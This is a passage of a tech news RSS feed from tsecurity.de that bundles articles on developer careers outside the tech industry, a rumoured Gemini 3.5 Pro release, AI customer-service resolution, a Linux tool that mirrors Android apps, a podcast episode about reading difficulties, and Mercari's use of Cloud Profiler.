<p>“One significant function where we’ve been placing developer talent lately is in developing business systems and internal applications,” Erhard says. These roles often have titles such as systems engineer or application developer, and professionals are hired to handle tasks such as customizing customer relationship management (CRM) or enterprise resource planning (ERP) platforms, building workflow automation tools or modernizing legacy systems, he says.</p>



<p>Other core functions for which Summit Search Group has placed a lot of developers include data, analytics, and AI-enablement. “That could be directly involved with <a href="https://www.infoworld.com/article/2263668/data-wrangling-and-exploratory-data-analysis-explained.html" data-type="link" data-id="https://www.infoworld.com/article/2263668/data-wrangling-and-exploratory-data-analysis-explained.html">data engineering</a> or in building tools like reporting systems and <a href="https://www.infoworld.com/article/2263668/data-wrangling-and-exploratory-data-analysis-explained.html" data-type="link" data-id="https://www.infoworld.com/article/2263668/data-wrangling-and-exploratory-data-analysis-explained.html">ETL [extract, transform, load]</a> pipelines,” Erhard says.</p>



<p>The firm also has handled searches for developers who can build and maintain customer-facing products for banking, healthcare, and retail companies, such as mobile apps or digital platforms customers can use to interact with companies.</p>



<p>Randstad Digital, a provider of global technology talent, sees demand for roles including web developers, system developers, and app developers. “These professionals would work on anything from customer-facing platforms to internal tools,” says <a href="https://www.linkedin.com/in/mpmorris36/" data-type="link" data-id="https://www.linkedin.com/in/mpmorris36/">Michael Morris</a>, global head of platform and talent at the company. “Non-tech companies are also often hiring roles like software architecture and <a href="https://www.infoworld.com/article/2255028/what-is-devops-transforming-software-development.html" data-type="link" data-id="https://www.infoworld.com/article/2255028/what-is-devops-transforming-software-development.html">devops</a> to help scale existing technology. These involve being more ingrained in the business, like building a supply chain system for a retailer, rather than creating individual tech products like you would at a technology company.”</p>



<h2 class="wp-block-heading">Prep for success</h2>



<p>To increases the chances of success at landing developer jobs outside of the tech industry, development professionals would be wise to follow some good practices.</p>



<h3 class="wp-block-heading">Boost AI skills</h3>



<p>One best practice is to boost skills in using AI-powered tools and get familiar with all things AI.</p>



<p>“Get fluent with AI-assisted development and its limits,” Awasthi says. “This is not optional. Organizations across every sector expect developers to use AI coding tools productively. But the more durable skill is knowing when AI output is wrong, incomplete, or unsuitable for a regulated context. That critical evaluation capacity is what non-tech employers are increasingly trying to hire.”</p>



<p>AI does not necessarily replace the need for human developers so much as it changes the skills profile for those roles, Erhard says. “The biggest difference in recent years is that AI literacy is now a non-negotiable,” he says. “At minimum, developers today need to understand concepts like <a href="https://www.infoworld.com/article/4122440/what-is-prompt-engineering-the-art-of-ai-orchestration.html" data-type="link" data-id="https://www.infoworld.com/article/4122440/what-is-prompt-engineering-the-art-of-ai-orchestration.html">prompt engineering</a> and how to use AI tools to improve their efficiency.”</p>



<p>One thing many job candidates don’t expect is that the rise of AI has also increased the importance of high-level skills such as problem framing, system design, and cross-functional communication,” Erhard says. “Essentially, if something is related to development but too complex or nuanced for an AI to handle effectively, then the demand is high for human developers who have that expertise,” he says.</p>



<p>Candidates who land roles consistently have experience building AI-augmented workflows along with standard coding skills, Erhard says. “Employers increasingly expect to hire developers who can leverage AI, so demonstrating this experience on your résumé can be very beneficial,” he says.</p>



<h3 class="wp-block-heading">Gain domain knowledge</h3>



<p>Summit Search Group is seeing high demand for developers with deep domain knowledge in an organization’s specific industry. “So, for instance, if someone is both an experienced developer and has expertise in healthcare compliance, or financial regulations, then those candidates tend to be very sought after,” Erhard says.</p>



<p>Domain fluency is an underrated skill, Awasthi says. “A developer who understands healthcare compliance, financial regulation, or manufacturing process logic is significantly harder to replace than one who only writes clean code,” she says. “AI can generate boilerplate. It cannot navigate a HIPAA audit or explain a model’s output to a compliance officer.”</p>



<p>Development professionals should “pick an industry and learn it seriously; not just the technology stack but the regulatory environment, the business model, and the actual problems practitioners face,” Awasthi says. “A developer who has read about HIPAA, or spent time understanding credit risk, is immediately more valuable in those hiring contexts.”</p>



<p>It’s also vital to demonstrate real-world, practical application of skills, not just credentials. “The strongest candidates have projects in their portfolio that directly tie to and solve real business problems,” Erhard says.</p>



<h3 class="wp-block-heading">Acquire soft skills</h3>



<p>And then there are the soft skills that are becoming more of a differentiator than they were in the past. As AI handles more routine coding, human developers are expected to make more architectural decisions and collaborate across departments, Erhard says. “Strong communication and problem-solving skills are critical for many of the developer roles that we’re filling today,” he says.</p>



<p>While technical skills are still relevant for developers using and managing AI tools, “they also need to develop the skill of ‘deeper thinking’ and learn how to think one step ahead,” Morris says. “This includes skills like system design mastery—understanding the macro view and learning how <a href="https://www.infoworld.com/article/2263327/what-are-microservices-your-next-software-architecture.html" data-type="link" data-id="https://www.infoworld.com/article/2263327/what-are-microservices-your-next-software-architecture.html">microservices</a>, databases, and third-party APIs interact securely and efficiently.”</p>



<p>They also should become deeply fluent in the AI coding tools commonly used in their particular industry, with a strong understanding of how to prompt them for optimal output, Morris says. Product context awareness is also useful. “AI doesn’t know what the customer wants, but you do,” Morris says. “Understanding the business problem and the end-user experience is a requirement for being able to guide LLMs.”</p>



<h3 class="wp-block-heading">Master debugging and incident response</h3>



<p>Developers looking to break into non-tech sectors also should develop skills in debugging and incident response, Morris says. “Complex systems with multiple AI agents can, and will, fail, which means companies need humans to trace logic flaws to get the system back on track,” he says. “A mastery of root-cause analysis is a critical skill.”</p>



<p>“Security, compliance, and reliability are very important in non-tech industries like finance and healthcare,” says <a href="https://www.linkedin.com/in/rohit-agarwal/" data-type="link" data-id="https://www.linkedin.com/in/rohit-agarwal/">Rohit Agarwal</a>, co-founder of Zenius, a remote hiring company. “So employers want developers who also know regulatory environments well.”</p>



<h3 class="wp-block-heading">Network and keep learning</h3>



<p>To successfully pivot from jobs at tech companies, “continuous learning, upskilling, and building hybrid skills that combine technical and business knowledge are essential,” Morris says. “With the right preparation, tech professionals can adapt and continue to thrive in meaningful, dynamic careers.”</p>



<p>It’s also a good idea to join talent communities in fields of interest and “engage with other members in conversations that increase your knowledge through the collective intelligence of the community,” Morris says. “Take advantage of AI skilling opportunities relevant for your role, or better yet, where you want to go next. Experiment with the technology either on your own or through structured programs.” Ultimately, be curious and proactive, he says.</p>



<p>“I’d also recommend developers not to ignore referrals, direct outreach, and industry-specific communities during job search,” Agarwal says. “There are often a lot more opportunities available than the ones posted online.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google’s New Gemini 3.5 Pro Packs Deep Thinking And Powerful Specs]]></title>
<description><![CDATA[Google's next flagship artificial intelligence model might be dropping much sooner than everyone thought. Recent leaks show that the tech company is getting ready to launch the Gemini 3.5 Pro model with major upgrades designed to challenge rival products like Claude and OpenAI.



A massive token...]]></description>
<link>https://tsecurity.de/de/3664754/ios-mac-os/googles-new-gemini-35-pro-packs-deep-thinking-and-powerful-specs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664754/ios-mac-os/googles-new-gemini-35-pro-packs-deep-thinking-and-powerful-specs/</guid>
<pubDate>Mon, 13 Jul 2026 11:22:04 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Google's next flagship artificial intelligence model might be dropping much sooner than everyone thought. Recent leaks show that the tech company is getting ready to launch the Gemini 3.5 Pro model with major upgrades designed to challenge rival products like Claude and OpenAI.



A massive token window changes how data is processed



One of the biggest rumors surrounding the upcoming release is a 2-million-token context window. This represents the largest production context available from any major provider right now. To put that massive number into perspective, a two-million token limit is large enough to swallow an entire codebase, a full year of customer support records, or tens of thousands of rows of financial data, all in a single prompt.



This kind of capacity means users will not have to chunk large documents anymore. It is specifically built for tasks that need heavy context, like whole-repository security audits or cross-document legal analysis where connections matter more than speed.



Deep Think mode tackles multi-step problems with accuracy



Another major leaked feature is the new Deep Thinking mode. The Google team designed this specific tool for complex problem-solving rather than rapid responses. The model actually spends more computing power reasoning through a problem before it answers.



This feature will be heavily optimized to handle long-running agent workflows and deep research projects. By trading instant latency for a deeper thought process, the system can provide reliable answers for difficult tasks like mathematical proofs or policy analysis instead of just rushing to complete the prompt.



Major improvements target code generation and web interfaces



The leaked reports also claim that the Gemini 3.5 Pro variant brings massive leaps in software development. Testers report that early builds are capable of writing clean and complex code on the first attempt. The upcoming Pro version will also lock into Google's native computer use upgrade, allowing AI agents to interact directly with desktop and web user interfaces.



As of late May 2026, the company opened limited access to Vertex enterprise customers, and general availability is expected in late June. If the benchmarks hold up, this new release could easily mark the most disruptive and capable product drop of the entire year.]]></content:encoded>
</item>
<item>
<title><![CDATA[Why the future of customer service is resolution, not fast replies]]></title>
<description><![CDATA[Most AI agents today are optimised for responsiveness—faster first responses, shorter wait times, higher service rates. And on those metrics, they’re delivering.



It’s no surprise then that 90% of business leaders believe their customers are satisfied with conversational AI experiences. Yet onl...]]></description>
<link>https://tsecurity.de/de/3664616/it-nachrichten/why-the-future-of-customer-service-is-resolution-not-fast-replies/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664616/it-nachrichten/why-the-future-of-customer-service-is-resolution-not-fast-replies/</guid>
<pubDate>Mon, 13 Jul 2026 10:18:32 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Most AI agents today are optimised for responsiveness—faster first responses, shorter wait times, higher service rates. And on those metrics, they’re delivering.</p>



<p>It’s no surprise then that 90% of business leaders believe their customers are satisfied with conversational AI experiences. Yet only 59% of consumers agree, according to <a href="https://www.twilio.com/en-us/report/Inside-the-Conversational-AI-Revolution?utm_source=foundry&amp;utm_medium=contentsyn&amp;utm_campaign=abm_brand_icp_sa_aw_tofu_apac_en&amp;utm_content=abm_lo_cs_ungatedcontent_future-of-cs_brandposthub" target="_blank" rel="sponsored">Twilio’s latest report on conversational AI</a>.</p>



<p>What could explain this 31-point gap? The data is unambiguous. 54% of consumers say AI agents rarely have context about them as a customer. 78% say the ability to escalate to a human is important, yet few get the chance to do so. And only 15% report experiencing a seamless handoff from an AI agent to a human one.</p>



<p>All this to say that the real measure of an AI agent isn’t how fast it answers, but whether it solves the problem. In fact, 72% of consumers would choose an AI over a human if it could resolve their issue more quickly.</p>



<p>Speed without resolution will only result in frustration.</p>



<h2 class="wp-block-heading">Why most AI agents aren’t great at resolution</h2>



<p>It’s not hard to see why most AI agents fail to resolve customer issues: they can’t take action on behalf of the customer, they can’t escalate conversations when they reach their limits, and they lack the real-time context needed to personalise the interaction.</p>



<p>Think about what a typical AI service interaction looks like. A customer calls with a billing question. The AI agent reads their intent accurately enough. But it can’t pull up the customer’s account in real time, process a credit, or route to a human specialist who knows the context of the conversation. So the customer repeats themselves. Or simply gives up.</p>



<p>The root cause is structural. In most stacks, the channel is the system of record, not the conversation. Voice, SMS, chat, and WhatsApp each run as separate sessions, so the moment a customer switches channels or escalates to a human, the interaction resets. Engineering teams paper over this by stuffing full transcripts into AI prompts to fake continuity. This inflates token costs, slows responses, and still truncates older context once the window fills up.</p>



<p>This is the gap between a chatbot and an agent. A chatbot responds. An agent resolves. It’s no wonder that the 59% of organisations planning to fully replace their current conversational AI solution within the year understand this distinction. Their early investments were simply optimised for the wrong outcome.</p>



<h2 class="wp-block-heading"><a></a>What resolution actually requires</h2>



<p>A smarter agent only gets you so far. Businesses need four capabilities to close the resolution gap:</p>



<ol class="wp-block-list">
<li>Agency: Agents must be able to take real action, such as scheduling, processing, and updating records, within the conversation itself.</li>



<li>Always-on monitoring: Agents should continuously evaluate the quality of interactions and catch failures before they become customer complaints</li>



<li>Intelligent routing: Agents should escalate issues with full context so that humans can pick up where they left off.</li>



<li>Real-time contextual data: Agents should have the same customer context as a well-prepared human agent. This includes purchase history, past interactions, account status, and preferences.</li>
</ol>



<p>None of these are speculative. They’re available today, and the companies deploying them are already seeing the difference.</p>



<p>Case in point: OhMD, a healthcare communications platform for physician practices and medical groups. The company built Nia, an AI-powered voice assistant that uses Twilio’s Conversation Relay to handle routine patient calls (scheduling, prescription refills, FAQs). Complex calls are routed to staff with full context, which saves patients from repeating themselves.</p>



<p>The results were immediate. OhMD saw a 60% improvement in self-service first-call resolution, with appointment scheduling flows completing in as little as one minute. By 2026, Nia is projected to handle more than 55 million patient interactions annually.</p>



<p>As Twilio CEO Khozema Shipchandler noted, “What we’re starting to see with OhMD is that they’ve got a 60% lift in self-serve capability to actually resolve calls. They’re able to drive the conclusion of these calls in less than a minute in many instances.”</p>



<p>Patients aren’t impressed because the phone rang once. They’re impressed because the call ended with their problem solved.</p>



<h2 class="wp-block-heading">Think resolution, not speed</h2>



<p>For every customer service leader evaluating their AI agent roadmap, the implication is straightforward. Stop measuring success by response time alone. Start measuring it by resolution rate—specifically, self-service resolution rate.</p>



<p>That means investing not in faster replies, but in smarter infrastructure: agents that act, routing that adapts, data that flows in real time, and monitoring that holds the system accountable.</p>



<p>The future of customer service isn’t about answering faster. It’s about answering fully.         </p>



<hr class="wp-block-separator has-alpha-channel-opacity">



<p>To learn more about Twilio, visit <a href="https://www.twilio.com/en-us/why-twilio?utm_source=foundry&amp;utm_medium=contentsyn&amp;utm_campaign=abm_brand_icp_sa_aw_tofu_apac_en&amp;utm_content=abm_lo_cs_ungatedcontent_end-cta-future-of-cs_brandposthub" target="_blank" rel="noreferrer noopener">here</a>.<a></a></p>



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Droidtux integrates your phone’s apps seamlessly into your Linux desktop as individual apps.]]></title>
<description><![CDATA[Droidtux: Integrate your Android phone's apps as native desktop windows on Linux Hi everyone! Some time ago, I came up with the idea of creating a tool to integrate my Android phone's apps directly into the Linux desktop as if they were native. I had looked into projects like Waydroid, but I spec...]]></description>
<link>https://tsecurity.de/de/3664093/linux-tipps/droidtux-integrates-your-phones-apps-seamlessly-into-your-linux-desktop-as-individual-apps/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664093/linux-tipps/droidtux-integrates-your-phones-apps-seamlessly-into-your-linux-desktop-as-individual-apps/</guid>
<pubDate>Mon, 13 Jul 2026 04:25:22 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p><strong>Droidtux: Integrate your Android phone's apps as native desktop windows on Linux</strong></p> <p>Hi everyone!</p> <p>Some time ago, I came up with the idea of creating a tool to integrate my Android phone's apps directly into the Linux desktop as if they were native. I had looked into projects like Waydroid, but I specifically wanted to use the apps and data <em>from my own phone</em> without configuring a container from scratch. I wanted the convenience of plugging in my device, working on my PC with its apps, and just taking them with me when unplugging.</p> <p>Recently, Google introduced a similar feature for Aluminium OS, and Apple has its own iPhone Mirroring ecosystem. I wanted that exact seamless experience on Linux.</p> <h1>How does it work?</h1> <p>To use <strong>Droidtux</strong>, you only need to have <strong>USB Debugging</strong> enabled on your device.</p> <ol> <li><strong>Plug and Play:</strong> When you connect your phone via USB, Droidtux automatically handles the heavy lifting.</li> <li><strong>Seamless Integration:</strong> It extracts the icons from your phone (via a lightweight helper app installed through ADB; everything is 100% open-source and auditable on GitHub) and configures the corresponding <code>.desktop</code> entries.</li> <li><strong>Clean Disconnection:</strong> As soon as you unplug your phone, the shortcuts disappear cleanly from your system without leaving any clutter behind.</li> </ol> <blockquote> <p><strong>⚠️ Important Tip:</strong> Make sure to temporarily disable your phone's screen timeout, use a "Stay Awake" developer setting, or loop a video in the background. If your phone goes to sleep or locks itself, the stream will instantly drop and the cast will turn off!</p> <p><strong>A quick note on performance:</strong> Depending on your phone's hardware capabilities and the resolution, DPI, and bitrate settings you choose, window scaling and fluidness may vary. If you experience very small or laggy windows, it usually means the phone's processor is struggling to encode and render more pixels than its hardware can handle in real-time. Tweaking the DPI and lowering the resolution slightly does wonders!</p> </blockquote> <h1>Compatibility &amp; Updates</h1> <ul> <li><strong>Supported Distros:</strong> It runs flawlessly on both <strong>Debian-based</strong> and <strong>Arch Linux</strong> distributions. It is currently untested on Fedora, but feedback is highly appreciated!</li> <li><strong>Automatic Updates:</strong> To receive updates automatically, you can read how to set up the Inled repository at <a href="https://apt.inled.es/">apt.inled.es</a> (don't mind the "apt" in the URL, it hosts packages for the supported ecosystems).</li> </ul> <p>If anyone runs into any issues or needs help setting it up, I'll be more than happy to help you out in the comments!</p> <ul> <li><strong>Project Website:</strong> <a href="https://inled.es/apps/droidtux">https://inled.es/apps/droidtux</a></li> <li><strong>Source Code:</strong> <a href="https://github.com/InledGroup/DroidTux">https://github.com/InledGroup/DroidTux</a></li> </ul> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Neo_TheChoosen"> /u/Neo_TheChoosen </a> <br> <span><a href="https://i.redd.it/euswnu43ntch1.gif">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1uuln8d/droidtux_integrates_your_phones_apps_seamlessly/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4681: My Disabilities]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.


As a child, I was so fond of reading what I saw as beautiful. Even when above [lacking] the understanding.


The perception of beauty came mainly from the cover and the fonts used (
same today
) or from the place the book occupied on my fa...]]></description>
<link>https://tsecurity.de/de/3663982/podcasts/hpr4681-my-disabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3663982/podcasts/hpr4681-my-disabilities/</guid>
<pubDate>Mon, 13 Jul 2026 02:03:11 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>
As a child, I was so fond of reading what I saw as beautiful. Even when above [lacking] the understanding.</p>

<p>
The perception of beauty came mainly from the cover and the fonts used (<em>
same today</em>
) or from the place the book occupied on my father’s shelf.</p>

<p>
One of them was Tuareg. More than once I took this classic from the home library, only to glance at the first page with no interest. It was only decades later — some years ago — that I saw the title again, and read with pleasure and no difficulties. It’s not a hard read, even to a 12 year-old, probably only the argument, the plot, didn’t catch me by then.</p>

<p>

</p>

<p>
Anyway, I was attracted to the book, as if simply wanting to read it made me part of the classic, the intellectual.</p>

<p>

</p>

<p>
I have less of this today. [I mean,] Not the inability to read a lot of books, but the urge to be a consumer of certain cultural product. Maybe due to not greeding to build a personal image, content without exposition.</p>

<p>
Still, sometimes, wanting to consume a piece of media and being unable to.. I wanted a story of robots, the book I though was not available [(All Systems Red)], so I bought one of scientific fiction.</p>

<p>
Somehow it attracted me when I flipped the few pages of Planet of Exile at the bookstore, an item that could lead me to a travel outside of this place, an escape. At home, I immediately saw I couldn’t grasp it. There were too many characters (too many = more than two in the first page, specially when another atmosphere is the location, a new physics to grasp). Too much information, can’t retain the minimum necessary in the way to the second, third… fifth page, by when more is being presented. This was always a disability of mine, focused on a little tiny thing, intensely, for some time, all lost in some weeks or months. I know it happens to <em>
me</em>
, because people are able to remember the names of the cars of the movie Cars. Not an incredible feat <strong>
for them</strong>
 (maybe they haven’t paid attention, nor actively tried to remember, only did), and something <strong>
strange</strong>
 to me.</p>

<p>

</p>

<p>
It was decided to register this because when I saw myself unable to read the [Ursula] Le Guin’s book, I got nervous. I’ve already been forgetting more ultimately, take confused steps, and now I can’t center on a book?! What’s happening?</p>

<p>
But then I took a breath: much can be going way too wrong from current circumstances outside and inside, but your limited comprehension of the world (and its art) is very part of you. This trace, or frailty, of your character, is not your brain rotting, it’s part of what you have been since always.</p>

<p>
Thank you.</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4681/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How Mercari reduced request latency by 15% with Cloud Profiler]]></title>
<description><![CDATA[Editor’s note: For retailers, predicting consumers’ desires and demand is the holy grail. For retail IT, the goal is understanding the performance of your ecommerce applications. Here, Japanese online retailer Mercari shows how they used Cloud Profiler and Trace to understand a complex microservi...]]></description>
<link>https://tsecurity.de/de/3662835/it-security-nachrichten/how-mercari-reduced-request-latency-by-15-with-cloud-profiler/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3662835/it-security-nachrichten/how-mercari-reduced-request-latency-by-15-with-cloud-profiler/</guid>
<pubDate>Sun, 12 Jul 2026 08:06:56 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph"><p><i><b>Editor’s note</b>: For retailers, predicting consumers’ desires and demand is the holy grail. For retail IT, the goal is understanding the performance of your ecommerce applications. Here, Japanese online retailer Mercari shows how they used Cloud Profiler and Trace to understand a complex microservices-based application running on Google Cloud, to meet rigorous SLOs as demand shifts for their products. </i></p><p>The events of 2020 have accelerated ecommerce, increasing demand for and traffic on online marketplaces. Analyst eMarketer <a href="https://www.emarketer.com/content/us-ecommerce-will-rise-18-2020-amid-pandemic?ecid=NL1001" target="_blank">predicts</a> that ecommerce sales in the United States will grow 18% in 2020, against an overall fall in total retail sales of 10.5% for the year. Likewise, our business—Japan-headquartered consumer-to-consumer marketplace <a href="https://www.mercari.com/us/help_center/article/22" target="_blank">Mercari Inc</a>—is growing rapidly. In the United States alone, we have seen 74% year-on-year growth in monthly average users to 3.4 million. A big part of our success are our robust payment and deposit systems and AI-based fraud monitoring, which enable sellers to list items for purchase and buyers to complete transactions safely. </p><p>Mercari started as a monolithic application but as complexity grew we decided to transition to a microservices architecture. And through it all, tools like Cloud Profiler and Cloud Trace helped us track down performance problems in our code, significantly improving latency.</p><h3>A microservices menagerie</h3><p>Today, we run 80+ microservices on Google Cloud with a mix of languages including Go, Python, JavaScript and Java. To deliver this new architecture, we created a gateway-like microservice to route traffic from soon-to-be migrated monolithic service to the Google Cloud microservices, which  delivers a range of features. </p><p>After creating several microservices, we identified common requirements and created a template to accelerate their development. These common requirements included: </p><ul><li><p>Exporting metrics to Prometheus</p></li><li><p>A gRPC server and interceptors</p></li><li><p>Error Reporting, Cloud Trace and Cloud Profiler. Error Reporting counts, analyzes and aggregates crashes in running cloud services, while Cloud Trace provides a view of requests as they flow through microservices and Cloud Profiler shows how microservices consume CPU, memory and threads.  </p></li></ul><p>We then used Python to create a template for machine learning services, also expediting the creation of new microservices. This has enabled us to grow the number of microservices we use in order to address new requirements. However, as our microservices proliferated, we needed to efficiently monitor and understand their performance. </p><h3>Maintaining SLO a challenge</h3><p>In particular, we needed to monitor the impact of new versions on the production environment and the efficiency of production operations, so we could maintain our service level objective (SLO) for success rates of 99.95% and 350 milliseconds for 95% latency. </p><p>Our engineering team also uses canary deployments to detect issues with new versions of major services. However, despite applying these measures, we found it challenging to maintain our SLO when our business grew faster than expected or during unanticipated spikes in demand. Some issues can be obvious or easy to detect. For example, if a service is experiencing high CPU utilization, we could simply place or fine tune our horizontal pod autoscaler (HPA) to resolve the problem. However, other issues may be less obvious. For example, a drop in performance may not directly be tied to a specific release—it may instead be due to unexpected requests, or may arise from changes to multiple functions in a single code release. </p><h3>Using Cloud Profiler and Cloud Trace to minimize performance issues</h3><p>In particular, our business-critical UserStats service, which tracks the speed with which a user replies to a message and how fast and reliably a seller ships an item, recently started performing poorly. </p><p>New feature requirements had prompted us to track how often a seller cancels an order and provide statistics. However, while adding this new functionality, the change refactored other functions, meaning we were unable to identify the function experiencing reduced performance. Since most of our services are enabled with Cloud Profiler and Cloud Trace, we turned to these products to investigate and identify the root cause.  </p><p>Before the change:</p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        <a href="https://storage.googleapis.com/gweb-cloudblog-publish/images/Using_Cloud_Profiler_and_Cloud_Trace.max-2800x2800.jpg" rel="external" target="_blank">
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Using_Cloud_Profiler_and_Cloud_Trace.max-1000x1000.jpg" alt="Using Cloud Profiler and Cloud Trace.jpg">
        
        </a>
      
        <figcaption class="article-image__caption "><i>Click to enlarge</i></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph"><p>After the change:</p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        <a href="https://storage.googleapis.com/gweb-cloudblog-publish/images/Using_Cloud_Profiler_and_Cloud_Trace_2_1.max-2800x2800.jpg" rel="external" target="_blank">
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Using_Cloud_Profiler_and_Cloud_Trace_2_1.max-1000x1000.jpg" alt="Using Cloud Profiler and Cloud Trace 2 (1).jpg">
        
        </a>
      
        <figcaption class="article-image__caption "><i>Click to enlarge</i></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph"><p>These two Cloud Profiler views show the CPU time of the call stack increased from 457 milliseconds to 904 milliseconds, with most of the delta attributable to the <b>_UserStats_SellerCancelStats_Handler</b> function. But because other functions also saw variations in their CPU consumption, and because calls occurred in parallel, we found it difficult to identify the cause of latency increases. The fact that this function call was necessary meant we could not remove the entire function. </p><p>We checked Cloud Trace and confirmed the function call had increased overall latency on some requests, similar to below:</p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        <a href="https://storage.googleapis.com/gweb-cloudblog-publish/images/trace_waterfall_view.max-2800x2800.jpg" rel="external" target="_blank">
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/trace_waterfall_view.max-1000x1000.jpg" alt="trace waterfall view.jpg">
        
        </a>
      
        <figcaption class="article-image__caption "><i>Click to enlarge</i></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph"><p>We analyzed the service with Cloud Profiler and identified hot spots that were contributing to the increase in CPU time consumption. We optimized these hot functions, deployed the new code, used Cloud Profiler to verify that the changes had the desired effect of reducing the CPU time. Doing so, we were able to improve latency by 10% to 15%!</p><h3>Simplifying the DevOps experience</h3><p>Before adopting Cloud Profiler, profiling production services was a tedious and manual undertaking involving recompiling with debug flags; deployment to production environments, and using disparate  tools to collect profiles and perform analysis. Containerization only increased this complexity, further reducing developer productivity. </p><p>Cloud Profiler enables us to continuously profile production environments with small and simple code changes, replacing the tedious work previously required to set up environments for performance analysis. <a href="https://cloud.google.com/profiler/docs/about-profiler#performance_impact">Low overhead</a> continuous profiling with Cloud Profiler helps us react swiftly to changes in service performance by root causing and resolving issues quickly.</p><p>Further, tools such as Cloud Trace and Cloud Profiler require minimal effort to setup and provide a consistent DevOps experience for our service owners. This is particularly important as we grow in the United States and elsewhere. Without Google Cloud, monitoring, debugging and profiling across production environments that feature a mix of languages, technology stacks, frameworks and containers would be extremely challenging and time-consuming. The release of new features and experiences in tools such as Cloud Profiler make us glad we chose Google Cloud as our primary cloud platform. We will continue to work with new features and provide feedback to Google Cloud, so it can continue to provide a better service to users.  </p><p><i>Visit the Google Cloud website to learn more about <a href="https://cloud.google.com/profiler">Cloud Profiler</a> and <a href="https://cloud.google.com/trace">Cloud Trace</a>.</i></p></div>
<div class="block-related_article_tout">





<div class="uni-related-article-tout h-c-page">
  <section class="h-c-grid">
    <a href="https://cloud.google.com/blog/topics/customers/mercari-relies-on-google-cloud-premium-support-and-technical-account-management/" data-analytics='{
                       "event": "page interaction",
                       "category": "article lead",
                       "action": "related article - inline",
                       "label": "article: {slug}"
                     }' class="uni-related-article-tout__wrapper h-c-grid__col h-c-grid__col--8 h-c-grid__col-m--6 h-c-grid__col-l--6
        h-c-grid__col--offset-2 h-c-grid__col-m--offset-3 h-c-grid__col-l--offset-3 uni-click-tracker">
      <div class="uni-related-article-tout__inner-wrapper">
        <p class="uni-related-article-tout__eyebrow h-c-eyebrow">Related Article</p>

        <div class="uni-related-article-tout__content-wrapper">
          <div class="uni-related-article-tout__image-wrapper">
            <div class="uni-related-article-tout__image"></div>
          </div>
          <div class="uni-related-article-tout__content">
            <h4 class="uni-related-article-tout__header h-has-bottom-margin">Mercari: Faster and more efficient development with the help of Google Cloud</h4>
            <p class="uni-related-article-tout__body">Technical implementation can be challenging, and many businesses can benefit from hands-on support from their cloud provider. Learn how w...</p>
            <div class="cta module-cta h-c-copy  uni-related-article-tout__cta muted">
              <span class="nowrap">Read Article
                <svg class="icon h-c-icon" role="presentation">
                  <use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#mi-arrow-forward"></use>
                </svg>
              </span>
            </div>
          </div>
        </div>
      </div>
    </a>
  </section>
</div>

</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Tutorial: Python richtig installieren]]></title>
<description><![CDATA[Python gilt als Shooting Star unter den Programmiersprachen. Wir sagen Ihnen, wie Sie die Installation unter Windows, Linux und MacOS reibungslos bewerkstelligen und was Sie dabei beachten sollten.
					Foto: Flegere – shutterstock.com




Mit der einsteiger- und benutzerfreundlichen Programmiers...]]></description>
<link>https://tsecurity.de/de/3662673/it-security-nachrichten/tutorial-python-richtig-installieren/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3662673/it-security-nachrichten/tutorial-python-richtig-installieren/</guid>
<pubDate>Sun, 12 Jul 2026 05:09:59 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



